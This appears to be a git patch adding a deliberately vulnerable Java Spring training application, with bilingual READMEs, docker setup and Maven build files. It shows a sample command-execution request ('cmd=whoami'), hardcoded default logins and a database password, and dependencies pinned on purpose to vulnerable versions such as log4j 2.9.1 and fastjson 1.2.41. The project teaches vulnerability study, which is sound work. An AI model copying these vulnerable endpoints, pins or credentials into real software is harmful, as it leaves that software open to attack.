From 7d52c4800331a353894f5f69d9d84ed4fd3be1b0 Mon Sep 17 00:00:00 2001 From: shadowsock5 Date: Wed, 9 Nov 2022 15:42:15 +0800 Subject: [PATCH 1/3] init --- .gitattributes | 2 + .gitignore | 9 + README.md | 212 +++++++ README_zh.md | 202 +++++++ docker-compose.yml | 13 + pom.xml | 515 ++++++++++++++++++ pom.xml.bak | 314 +++++++++++ src/main/java/com/Exploit.java | 33 ++ src/main/java/com/Exploit1.java | 15 + src/main/java/com/SpringMemShell.java | 84 +++ src/main/java/com/Test.java | 67 +++ src/main/java/org/joychou/Application.java | 22 + src/main/java/org/joychou/RMI/Client.java | 21 + src/main/java/org/joychou/RMI/Hello.java | 9 + src/main/java/org/joychou/RMI/Server.java | 30 + .../java/org/joychou/config/Constants.java | 10 + .../java/org/joychou/config/CorsConfig2.java | 29 + .../org/joychou/config/CsrfTokenBean.java | 18 + .../org/joychou/config/CustomCorsConfig.java | 50 ++ .../org/joychou/config/Knife4jConfig.java | 45 ++ .../java/org/joychou/config/Object2Jsonp.java | 100 ++++ .../org/joychou/config/SafeDomainConfig.java | 29 + .../org/joychou/config/SafeDomainParser.java | 140 +++++ .../org/joychou/config/SwaggerConfig.java | 31 ++ .../java/org/joychou/config/WebConfig.java | 138 +++++ .../org/joychou/controller/CRLFInjection.java | 29 + .../java/org/joychou/controller/CSRF.java | 29 + .../org/joychou/controller/CommandInject.java | 63 +++ .../java/org/joychou/controller/Cookies.java | 87 +++ .../java/org/joychou/controller/Cors.java | 119 ++++ .../org/joychou/controller/Deserialize.java | 89 +++ src/main/java/org/joychou/controller/EL.java | 173 ++++++ .../java/org/joychou/controller/Fastjson.java | 179 ++++++ .../org/joychou/controller/FileUpload.java | 198 +++++++ .../org/joychou/controller/GetRequestURI.java | 51 ++ .../java/org/joychou/controller/IPForge.java | 47 ++ .../java/org/joychou/controller/Index.java | 52 ++ .../org/joychou/controller/JndiInjection.java | 20 + .../java/org/joychou/controller/Jsonp.java | 142 +++++ .../java/org/joychou/controller/Log4j.java | 29 + .../java/org/joychou/controller/Login.java | 54 ++ .../org/joychou/controller/PathTraversal.java | 56 ++ src/main/java/org/joychou/controller/Rce.java | 162 ++++++ .../java/org/joychou/controller/SQLI.java | 198 +++++++ .../java/org/joychou/controller/SSRF.java | 264 +++++++++ .../java/org/joychou/controller/SSTI.java | 39 ++ .../java/org/joychou/controller/SpEL.java | 38 ++ .../org/joychou/controller/Spring4Shell.java | 22 + .../java/org/joychou/controller/Test.java | 101 ++++ .../org/joychou/controller/URLRedirect.java | 93 ++++ .../org/joychou/controller/URLWhiteList.java | 170 ++++++ src/main/java/org/joychou/controller/XSS.java | 80 +++ .../org/joychou/controller/XStreamRce.java | 43 ++ src/main/java/org/joychou/controller/XXE.java | 452 +++++++++++++++ .../java/org/joychou/controller/Yaml.java | 23 + .../controller/othervulns/ooxmlXXE.java | 75 +++ .../othervulns/xlsxStreamerXXE.java | 44 ++ src/main/java/org/joychou/dao/User.java | 32 ++ .../org/joychou/filter/BaseCorsFilter.java | 35 ++ .../java/org/joychou/filter/OriginFilter.java | 61 +++ .../java/org/joychou/filter/ReferFilter.java | 85 +++ src/main/java/org/joychou/imageConfig.java | 17 + .../java/org/joychou/mapper/UserMapper.java | 30 + .../security/AntObjectInputStream.java | 80 +++ .../security/CsrfAccessDeniedHandler.java | 36 ++ .../joychou/security/CustomCorsProcessor.java | 52 ++ .../DisableSpringSecurityFirewall.java | 27 + .../joychou/security/LoginFailureHandler.java | 32 ++ .../joychou/security/LoginSuccessHandler.java | 51 ++ .../org/joychou/security/SecurityUtil.java | 255 +++++++++ .../joychou/security/WebSecurityConfig.java | 116 ++++ .../joychou/security/ssrf/SSRFChecker.java | 182 +++++++ .../joychou/security/ssrf/SSRFException.java | 15 + .../org/joychou/security/ssrf/SocketHook.java | 27 + .../security/ssrf/SocketHookFactory.java | 88 +++ .../joychou/security/ssrf/SocketHookImpl.java | 269 +++++++++ .../security/ssrf/SocketHookUtils.java | 27 + src/main/java/org/joychou/util/ClassUtil.java | 122 +++++ src/main/java/org/joychou/util/HttpUtils.java | 213 ++++++++ .../java/org/joychou/util/LoginUtils.java | 21 + src/main/java/org/joychou/util/WebUtils.java | 54 ++ src/main/resources/application.properties | 52 ++ src/main/resources/banner.txt | 6 + src/main/resources/bootstrap.yml | 31 ++ src/main/resources/create_db.sql | 9 + src/main/resources/logback-online.xml | 12 + src/main/resources/mapper/UserMapper.xml | 35 ++ src/main/resources/static/css/login.css | 106 ++++ src/main/resources/static/js/jquery.min.js | 2 + src/main/resources/templates/form.html | 28 + src/main/resources/templates/index.html | 28 + src/main/resources/templates/login.html | 68 +++ src/main/resources/templates/upload.html | 13 + src/main/resources/templates/uploadPic.html | 13 + .../resources/templates/uploadStatus.html | 10 + src/main/resources/templates/xxe_upload.html | 14 + src/main/resources/url/ssrf_safe_domain.xml | 22 + src/main/resources/url/url_safe_domain.xml | 18 + 98 files changed, 7753 insertions(+) create mode 100644 .gitattributes create mode 100644 .gitignore create mode 100644 README.md create mode 100644 README_zh.md create mode 100644 docker-compose.yml create mode 100644 pom.xml create mode 100644 pom.xml.bak create mode 100644 src/main/java/com/Exploit.java create mode 100644 src/main/java/com/Exploit1.java create mode 100644 src/main/java/com/SpringMemShell.java create mode 100644 src/main/java/com/Test.java create mode 100644 src/main/java/org/joychou/Application.java create mode 100644 src/main/java/org/joychou/RMI/Client.java create mode 100644 src/main/java/org/joychou/RMI/Hello.java create mode 100644 src/main/java/org/joychou/RMI/Server.java create mode 100644 src/main/java/org/joychou/config/Constants.java create mode 100644 src/main/java/org/joychou/config/CorsConfig2.java create mode 100644 src/main/java/org/joychou/config/CsrfTokenBean.java create mode 100644 src/main/java/org/joychou/config/CustomCorsConfig.java create mode 100644 src/main/java/org/joychou/config/Knife4jConfig.java create mode 100644 src/main/java/org/joychou/config/Object2Jsonp.java create mode 100644 src/main/java/org/joychou/config/SafeDomainConfig.java create mode 100644 src/main/java/org/joychou/config/SafeDomainParser.java create mode 100644 src/main/java/org/joychou/config/SwaggerConfig.java create mode 100644 src/main/java/org/joychou/config/WebConfig.java create mode 100644 src/main/java/org/joychou/controller/CRLFInjection.java create mode 100644 src/main/java/org/joychou/controller/CSRF.java create mode 100644 src/main/java/org/joychou/controller/CommandInject.java create mode 100644 src/main/java/org/joychou/controller/Cookies.java create mode 100644 src/main/java/org/joychou/controller/Cors.java create mode 100644 src/main/java/org/joychou/controller/Deserialize.java create mode 100644 src/main/java/org/joychou/controller/EL.java create mode 100644 src/main/java/org/joychou/controller/Fastjson.java create mode 100644 src/main/java/org/joychou/controller/FileUpload.java create mode 100644 src/main/java/org/joychou/controller/GetRequestURI.java create mode 100644 src/main/java/org/joychou/controller/IPForge.java create mode 100644 src/main/java/org/joychou/controller/Index.java create mode 100644 src/main/java/org/joychou/controller/JndiInjection.java create mode 100644 src/main/java/org/joychou/controller/Jsonp.java create mode 100644 src/main/java/org/joychou/controller/Log4j.java create mode 100644 src/main/java/org/joychou/controller/Login.java create mode 100644 src/main/java/org/joychou/controller/PathTraversal.java create mode 100644 src/main/java/org/joychou/controller/Rce.java create mode 100644 src/main/java/org/joychou/controller/SQLI.java create mode 100644 src/main/java/org/joychou/controller/SSRF.java create mode 100644 src/main/java/org/joychou/controller/SSTI.java create mode 100644 src/main/java/org/joychou/controller/SpEL.java create mode 100644 src/main/java/org/joychou/controller/Spring4Shell.java create mode 100644 src/main/java/org/joychou/controller/Test.java create mode 100644 src/main/java/org/joychou/controller/URLRedirect.java create mode 100644 src/main/java/org/joychou/controller/URLWhiteList.java create mode 100644 src/main/java/org/joychou/controller/XSS.java create mode 100644 src/main/java/org/joychou/controller/XStreamRce.java create mode 100644 src/main/java/org/joychou/controller/XXE.java create mode 100644 src/main/java/org/joychou/controller/Yaml.java create mode 100644 src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java create mode 100644 src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java create mode 100644 src/main/java/org/joychou/dao/User.java create mode 100644 src/main/java/org/joychou/filter/BaseCorsFilter.java create mode 100644 src/main/java/org/joychou/filter/OriginFilter.java create mode 100644 src/main/java/org/joychou/filter/ReferFilter.java create mode 100644 src/main/java/org/joychou/imageConfig.java create mode 100644 src/main/java/org/joychou/mapper/UserMapper.java create mode 100644 src/main/java/org/joychou/security/AntObjectInputStream.java create mode 100644 src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java create mode 100644 src/main/java/org/joychou/security/CustomCorsProcessor.java create mode 100644 src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java create mode 100644 src/main/java/org/joychou/security/LoginFailureHandler.java create mode 100644 src/main/java/org/joychou/security/LoginSuccessHandler.java create mode 100644 src/main/java/org/joychou/security/SecurityUtil.java create mode 100644 src/main/java/org/joychou/security/WebSecurityConfig.java create mode 100644 src/main/java/org/joychou/security/ssrf/SSRFChecker.java create mode 100644 src/main/java/org/joychou/security/ssrf/SSRFException.java create mode 100644 src/main/java/org/joychou/security/ssrf/SocketHook.java create mode 100644 src/main/java/org/joychou/security/ssrf/SocketHookFactory.java create mode 100644 src/main/java/org/joychou/security/ssrf/SocketHookImpl.java create mode 100644 src/main/java/org/joychou/security/ssrf/SocketHookUtils.java create mode 100644 src/main/java/org/joychou/util/ClassUtil.java create mode 100644 src/main/java/org/joychou/util/HttpUtils.java create mode 100644 src/main/java/org/joychou/util/LoginUtils.java create mode 100644 src/main/java/org/joychou/util/WebUtils.java create mode 100644 src/main/resources/application.properties create mode 100644 src/main/resources/banner.txt create mode 100644 src/main/resources/bootstrap.yml create mode 100644 src/main/resources/create_db.sql create mode 100644 src/main/resources/logback-online.xml create mode 100644 src/main/resources/mapper/UserMapper.xml create mode 100644 src/main/resources/static/css/login.css create mode 100644 src/main/resources/static/js/jquery.min.js create mode 100644 src/main/resources/templates/form.html create mode 100644 src/main/resources/templates/index.html create mode 100644 src/main/resources/templates/login.html create mode 100644 src/main/resources/templates/upload.html create mode 100644 src/main/resources/templates/uploadPic.html create mode 100644 src/main/resources/templates/uploadStatus.html create mode 100644 src/main/resources/templates/xxe_upload.html create mode 100644 src/main/resources/url/ssrf_safe_domain.xml create mode 100644 src/main/resources/url/url_safe_domain.xml diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 00000000..eba1110b --- /dev/null +++ b/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..2b8dab5d --- /dev/null +++ b/.gitignore @@ -0,0 +1,9 @@ +.idea/ +.DS_Store +target/ +other-vuls/ +docker/ +poc/ +src/main/java/org/joychou/test/ +*.iml +docker_jdk_build.sh \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 00000000..d4d62134 --- /dev/null +++ b/README.md @@ -0,0 +1,212 @@ +# Java Sec Code + + +Java sec code is a very powerful and friendly project for learning Java vulnerability code. + +[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) + +## Introduce + +This project can also be called Java vulnerability code. + +Each vulnerability type code has a security vulnerability by default unless there is no vulnerability. The relevant fix code is in the comments or code. Specifically, you can view each vulnerability code and comments. + +Due to the server expiration, the online demo site had to go offline. + +Login username & password: + +``` +admin/admin123 +joychou/joychou123 +``` + + +## Vulnerability Code + +Sort by letter. + +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml) +- [CommandInject](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CommandInject.java) +- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) +- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) +- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) +- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) +- [GetRequestURI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/GetRequestURI.java) +- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) +- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jsonp.java) +- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) +- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) +- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) + - Runtime + - ProcessBuilder + - ScriptEngine + - Yaml Deserialize + - Groovy +- [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java) +- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) +- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) +- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) +- [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java) +- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) +- [xlsxStreamerXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java) +- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) +- [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) +- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) + + + +## Vulnerability Description + +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) +- [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) +- [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/wiki/Deserialize) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) +- [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) +- [POI-OOXML XXE](https://github.com/JoyChou93/java-sec-code/wiki/Poi-ooxml-XXE) +- [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) +- [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF) +- [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) +- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) +- [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) + +## How to run + +The application will use mybatis auto-injection. Please run mysql server ahead of time and configure the mysql server database's name and username/password except docker environment. + +``` +spring.datasource.url=jdbc:mysql://127.0.0.1:3306/java_sec_code +spring.datasource.username=root +spring.datasource.password=woshishujukumima +``` + +- Docker +- IDEA +- Tomcat +- JAR + +### Docker + + +Start docker: + +``` +docker-compose pull +docker-compose up +``` + + +Stop docker: + +``` +docker-compose down +``` + +Docker's environment: + +- Java 1.8.0_102 +- Mysql 8.0.17 +- Tomcat 8.5.11 + + +### IDEA + +- `git clone https://github.com/JoyChou93/java-sec-code` +- Open in IDEA and click `run` button. + +Example: + +``` +http://localhost:8080/rce/exec?cmd=whoami +``` + +return: + +``` +Viarus +``` + +### Tomcat + +- `git clone https://github.com/JoyChou93/java-sec-code` & `cd java-sec-code` +- Build war package by `mvn clean package`. +- Copy war package to tomcat webapps directory. +- Start tomcat application. + +Example: + +``` +http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +``` + +return: + +``` +Viarus +``` + + +### JAR + +Change `war` to `jar` in `pom.xml`. + +```xml +sec +java-sec-code +1.0.0 +war +``` + +Build package and run. + +``` +git clone https://github.com/JoyChou93/java-sec-code +cd java-sec-code +mvn clean package -DskipTests +java -jar target/java-sec-code-1.0.0.jar +``` + +## Authenticate + +### Login + +[http://localhost:8080/login](http://localhost:8080/login) + +If you are not logged in, accessing any page will redirect you to the login page. The username & password are as follows. + +``` +admin/admin123 +joychou/joychou123 +``` + +### Logout + +[http://localhost:8080/logout](http://localhost:8080/logout) + +### RememberMe + +Tomcat's default JSESSION session is valid for 30 minutes, so a 30-minute non-operational session will expire. In order to solve this problem, the rememberMe function is introduced, and the default expiration time is 2 weeks. + + +## Contributors + +Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https://github.com/liergou9981) +Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu). + + +## Donate + +If you like the poject, you can donate to support me. With your support, I will be able to make `Java sec code` better 😎. + +### Alipay + +Scan the QRcode to support `Java sec code`. + + diff --git a/README_zh.md b/README_zh.md new file mode 100644 index 00000000..8beb7805 --- /dev/null +++ b/README_zh.md @@ -0,0 +1,202 @@ +# Java Sec Code + +对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。 + +[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) + +## 介绍 + +该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。 + +每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。 + +由于服务器到期,在线的Demo网站已不能使用。 + +登录用户名密码: + +``` +admin/admin123 +joychou/joychou123 +``` + +## 漏洞代码 + +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml) +- [CommandInject](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CommandInject.java) +- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) +- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) +- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) +- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) +- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) +- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java) +- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) +- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) +- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) + - Runtime + - ProcessBuilder + - ScriptEngine + - Yaml Deserialize + - Groovy +- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) +- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) +- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) +- [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java) +- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) +- [xlsxStreamerXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java) +- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) +- [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) +- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) + + +## 漏洞说明 + +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) +- [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) +- [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/wiki/Deserialize) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) +- [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) +- [POI-OOXML XXE](https://github.com/JoyChou93/java-sec-code/wiki/Poi-ooxml-XXE) +- [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) +- [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF) +- [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) +- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) +- [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) + + +## 如何运行 + +应用会用到mybatis自动注入,请提前运行mysql服务,并且配置mysql服务的数据库名称和用户名密码(除非是Docker环境)。 + +``` +spring.datasource.url=jdbc:mysql://127.0.0.1:3306/java_sec_code +spring.datasource.username=root +spring.datasource.password=woshishujukumima +``` + +- Docker +- IDEA +- Tomcat +- JAR + +### Docker + +开启应用: + +``` +docker-compose pull +docker-compose up +``` + +关闭应用: + +``` +docker-compose down +``` + +Docker环境: + +- Java 1.8.0_102 +- Mysql 8.0.17 +- Tomcat 8.5.11 + +### IDEA + +- `git clone https://github.com/JoyChou93/java-sec-code` +- 在IDEA中打开,直接点击run按钮即可运行。 + +例子: + +``` +http://localhost:8080/rce/exec?cmd=whoami +``` + +返回: + +``` +Viarus +``` + +### Tomcat + +1. `git clone https://github.com/JoyChou93/java-sec-code & cd java-sec-code` +2. 生成war包 `mvn clean package` +3. 将target目录的war包,cp到Tomcat的webapps目录 +4. 重启Tomcat应用 + + +例子: + +``` +http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +``` + +返回: + +``` +Viarus +``` + + +### JAR包 + + +先修改pom.xml里的配置,将war改成jar。 + +``` + sec + java-sec-code + 1.0.0 + war +``` + +再打包运行即可。 + +``` +git clone https://github.com/JoyChou93/java-sec-code +cd java-sec-code +mvn clean package -DskipTests +java -jar 打包后的jar包路径 +``` + +## 认证 + +### 登录 + +[http://localhost:8080/login](http://localhost:8080/login) + +如果未登录,访问任何页面都会重定向到login页面。用户名和密码如下。 + +``` +admin/admin123 +joychou/joychou123 +``` +### 登出 + +[http://localhost:8080/logout](http://localhost:8080/logout) + +### 记住我 + +Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能,默认过期时间为2周。 + + +## 贡献者 + +核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。 + +## 捐赠 + +如果你喜欢这个项目,你可以捐款来支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 + +### Alipay + +扫描支付宝二维码支持`Java sec code`。 + + diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 00000000..cb3f8efa --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,13 @@ +version : '2' +services: + jsc: + image: joychou/jsc:latest + ports: + - "8080:8080" + links: + - j_mysql + + j_mysql: + image: joychou/jsc_mysql:latest + ports: + - "3306:3306" diff --git a/pom.xml b/pom.xml new file mode 100644 index 00000000..59e50664 --- /dev/null +++ b/pom.xml @@ -0,0 +1,515 @@ + + + 4.0.0 + + sec + java-sec-code + 2.0.0 + jar + + + 9 + 9 + + + + + org.springframework.boot + spring-boot-starter-parent + 2.6.6 + + + + + + + + + + + + + + + + + + + + + org.springframework.boot + spring-boot-starter-web + + + + + + org.springframework.boot + spring-boot-starter-thymeleaf + + + + + mysql + mysql-connector-java + 8.0.12 + + + + + + com.alibaba + fastjson + + 1.2.41 + + + + + + org.aspectj + aspectjtools + 1.7.4 + + + + + org.mvel + mvel2 + 2.4.4.Final + + + + com.alibaba + druid + 1.1.7 + + + + + + org.python + jython-standalone + 2.5.2 + + + + + org.postgresql + postgresql + 42.5.0 + + + + ognl + ognl + 3.1.12 + + + + + org.dom4j + dom4j + 2.1.3 + + + + + + + + + + + + + + + + + + + + org.apache.shiro + shiro-core + 1.2.4 + + + + + org.apache.shiro + shiro-core + 1.2.4 + + + + org.apache.commons + commons-proxy + 1.0 + + + + org.apache.axis + axis + 1.4 + + + + org.apache.axis + axis-jaxrpc + 1.4 + + + + + commons-discovery + commons-discovery + 0.2 + + + + + redis.clients + jedis + 2.9.0 + + + + org.eclipse.core + org.eclipse.core.resources + 3.7.100 + + + + io.micronaut + micronaut-http-client + 2.5.3 + + + + + + org.jdom + jdom2 + 2.0.6 + + + + + org.dom4j + dom4j + 2.1.0 + + + + + + com.google.guava + guava + 23.0 + + + + org.apache.commons + commons-collections4 + 4.0 + + + + commons-collections + commons-collections + 3.1 + + + + commons-lang + commons-lang + 2.4 + + + + + + + + + org.apache.httpcomponents + httpcore + 4.4.13 + + + + org.apache.httpcomponents + fluent-hc + 4.3.6 + + + + + org.apache.logging.log4j + log4j-core + 2.9.1 + + + + org.apache.logging.log4j + log4j-api + 2.9.1 + + + + com.squareup.okhttp + okhttp + 2.5.0 + + + + + org.apache.commons + commons-digester3 + 3.2 + + + + + org.jolokia + jolokia-core + 1.6.0 + + + + + org.springframework.boot + spring-boot-starter-actuator + + + + + + + + + + + + com.fasterxml.uuid + java-uuid-generator + 3.1.4 + + + + + + org.springframework.security + spring-security-web + 5.6.2 + + + + + + org.springframework.security + spring-security-config + 5.6.2 + + + + org.springframework.boot + spring-boot-starter-security + 2.1.5.RELEASE + + + + commons-net + commons-net + 3.6 + + + + + commons-httpclient + commons-httpclient + 3.1 + + + + + + org.mybatis.spring.boot + mybatis-spring-boot-starter + 1.3.2 + + + + + org.apache.velocity + velocity + 1.7 + + + + + com.thoughtworks.xstream + xstream + 1.4.10 + + + + org.apache.poi + poi + 3.10-FINAL + + + + + org.apache.poi + poi-ooxml + 3.9 + + + + com.monitorjbl + xlsx-streamer + 2.0.0 + + + + + org.jsoup + jsoup + 1.10.2 + + + + + commons-io + commons-io + 2.4 + + + + + org.apache.httpcomponents + httpasyncclient + 4.1.4 + + + + + + + + + + + io.springfox + springfox-swagger2 + 2.9.2 + + + + io.springfox + springfox-swagger-ui + 2.9.2 + + + + + + com.github.xiaoymin + knife4j-spring-boot-starter + 2.0.6 + + + + + + org.projectlombok + lombok + 1.18.16 + provided + + + + org.yaml + snakeyaml + 1.21 + + + + org.springframework + spring-test + + + + junit + junit + + + + org.apache.groovy + groovy + 4.0.2 + + + + + org.flowable + flowable-engine + 6.7.2 + + + org.flowable + flowable-engine-common + 6.7.2 + + + org.flowable + flowable-engine-common-api + 6.7.2 + + + org.flowable + flowable-variable-service + 6.7.2 + + + + + + + + + org.springframework.cloud + spring-cloud-dependencies + Camden.RELEASE + pom + import + + + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + + + + + + + \ No newline at end of file diff --git a/pom.xml.bak b/pom.xml.bak new file mode 100644 index 00000000..764e08dd --- /dev/null +++ b/pom.xml.bak @@ -0,0 +1,314 @@ + + + 4.0.0 + + sec + java-sec-code + 1.0.0 + war + + + 1.8 + 1.8 + + + + + org.springframework.boot + spring-boot-starter-parent + 1.5.1.RELEASE + + + + + org.springframework.boot + spring-boot-starter-web + + + + + + org.springframework.boot + spring-boot-starter-thymeleaf + + + + + mysql + mysql-connector-java + 8.0.12 + + + + + + com.alibaba + fastjson + 1.2.61 + + + + + + + org.jdom + jdom2 + 2.0.6 + + + + + org.dom4j + dom4j + 2.1.0 + + + + + + com.google.guava + guava + 23.0 + + + + commons-collections + commons-collections + 3.1 + + + + commons-lang + commons-lang + 2.4 + + + org.apache.httpcomponents + httpclient + 4.5.12 + + + + org.apache.httpcomponents + fluent-hc + 4.3.6 + + + + + org.apache.logging.log4j + log4j-core + 2.9.1 + + + + org.apache.logging.log4j + log4j-api + 2.9.1 + + + 